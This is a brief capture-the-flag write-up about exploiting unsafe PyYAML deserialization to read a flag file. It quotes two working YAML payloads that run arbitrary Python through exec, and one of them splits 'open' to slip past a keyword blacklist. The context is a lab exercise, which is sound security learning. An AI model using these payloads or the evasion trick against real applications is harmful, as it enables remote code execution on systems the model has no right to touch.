After a bit of messing around we can easily realize we need to use a PyYaml deserialization vulneravility, however “open” is blacklisted. And using bases as well.

In cases like this the only way to solve is to go down a rabbit hole and hope you find something useful.

On HackTricks I found exactly our situation:

Vulnerable .load("<content>") without Loader

Old versions of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`

You can find the **description of the vulnerability here.** The proposed **exploit** in that page is:

```yaml
!!python/object/new:str
state: !!python/tuple
  - 'print(getattr(open("flag\x2etxt"), "read")())'
  - !!python/object/new:Warning
    state:
      update: !!python/name:exec
```

Or you could also use this **one-liner provided by @ishaack**:

```yaml
!!python/object/new:str {
  state:
    !!python/tuple [
      'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
      !!python/object/new:Warning { state: { update: !!python/name:exec  } },
    ],
}
```

Note that in **recent versions** you cannot **no longer call** `.load()` **without a** `Loader` and the `FullLoader` is **no longer vulnerable** to this attack.

The 2nd one even escapes the “open” for us! And best of all, it works! (I copy pasted it into a google search bar, the indentation required is a bit weird.